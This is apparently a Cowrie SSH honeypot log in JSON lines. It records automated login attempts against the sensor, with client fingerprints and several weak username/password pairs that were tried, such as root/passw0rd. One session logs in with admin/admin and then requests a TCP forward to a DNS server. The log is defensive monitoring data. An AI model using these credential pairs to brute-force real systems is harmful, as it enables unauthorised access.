{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:18.940948Z","src_ip":"87.251.64.176","session":"9254011beb92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"francis123","message":"login attempt [root/francis123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:18.949638Z","src_ip":"103.118.29.129","session":"cabcca6cff46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:19.104022Z","src_ip":"87.251.64.176","session":"9254011beb92","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:20.115452Z","src_ip":"87.251.64.176","session":"9254011beb92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:20.190677Z","src_ip":"103.118.29.129","session":"cabcca6cff46","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:20.236640Z","session":"9254011beb92","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:20.363912Z","src_ip":"87.251.64.176","session":"9254011beb92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:20.509119Z","src_ip":"87.251.64.176","session":"9254011beb92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":59962,"dst_ip":"159.203.135.109","dst_port":22,"session":"bac22dc73fa9","protocol":"ssh","message":"New connection: 83.168.110.85:59962 (159.203.135.109:22) [session: bac22dc73fa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:21.146269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:21.151027Z","src_ip":"83.168.110.85","session":"bac22dc73fa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:21.271606Z","src_ip":"83.168.110.85","session":"bac22dc73fa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:21.635223Z","src_ip":"83.168.110.85","session":"bac22dc73fa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:22.888437Z","src_ip":"83.168.110.85","session":"bac22dc73fa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":57410,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fe1b2bc02bf","protocol":"ssh","message":"New connection: 103.75.183.219:57410 (159.203.135.109:22) [session: 7fe1b2bc02bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:29.515029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:29.522686Z","src_ip":"103.75.183.219","session":"7fe1b2bc02bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:29.765152Z","src_ip":"103.75.183.219","session":"7fe1b2bc02bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"234567","message":"login attempt [root/234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:30.493959Z","src_ip":"103.75.183.219","session":"7fe1b2bc02bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45526,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a7133981c66","protocol":"ssh","message":"New connection: 83.168.110.85:45526 (159.203.135.109:22) [session: 8a7133981c66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:31.572736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:31.618242Z","src_ip":"83.168.110.85","session":"8a7133981c66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:31.705319Z","src_ip":"83.168.110.85","session":"8a7133981c66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:31.739451Z","src_ip":"103.75.183.219","session":"7fe1b2bc02bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:32.168680Z","src_ip":"83.168.110.85","session":"8a7133981c66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:33.509545Z","src_ip":"83.168.110.85","session":"8a7133981c66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":59266,"dst_ip":"159.203.135.109","dst_port":22,"session":"e35c96b01f3f","protocol":"ssh","message":"New connection: 83.168.110.85:59266 (159.203.135.109:22) [session: e35c96b01f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:42.142906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:42.151714Z","src_ip":"83.168.110.85","session":"e35c96b01f3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:42.273169Z","src_ip":"83.168.110.85","session":"e35c96b01f3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:42.636761Z","src_ip":"83.168.110.85","session":"e35c96b01f3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:43.852429Z","src_ip":"83.168.110.85","session":"e35c96b01f3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60754,"dst_ip":"159.203.135.109","dst_port":22,"session":"3275e75fc10a","protocol":"ssh","message":"New connection: 83.168.110.85:60754 (159.203.135.109:22) [session: 3275e75fc10a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:52.330159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:52.335489Z","src_ip":"83.168.110.85","session":"3275e75fc10a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:52.457114Z","src_ip":"83.168.110.85","session":"3275e75fc10a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:52.819529Z","src_ip":"83.168.110.85","session":"3275e75fc10a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:54.009445Z","src_ip":"83.168.110.85","session":"3275e75fc10a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":34916,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1ad92243298","protocol":"ssh","message":"New connection: 83.168.110.85:34916 (159.203.135.109:22) [session: a1ad92243298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:02.963277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:02.972599Z","src_ip":"83.168.110.85","session":"a1ad92243298","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:03.094764Z","src_ip":"83.168.110.85","session":"a1ad92243298","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:03.459623Z","src_ip":"83.168.110.85","session":"a1ad92243298","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:04.589964Z","src_ip":"83.168.110.85","session":"a1ad92243298","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60760,"dst_ip":"159.203.135.109","dst_port":22,"session":"664064920d81","protocol":"ssh","message":"New connection: 83.168.110.85:60760 (159.203.135.109:22) [session: 664064920d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:13.362021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:13.367191Z","src_ip":"83.168.110.85","session":"664064920d81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:13.488259Z","src_ip":"83.168.110.85","session":"664064920d81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:13.851926Z","src_ip":"83.168.110.85","session":"664064920d81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:48:15.038012Z","src_ip":"83.168.110.85","session":"664064920d81","protocol":"ssh"}
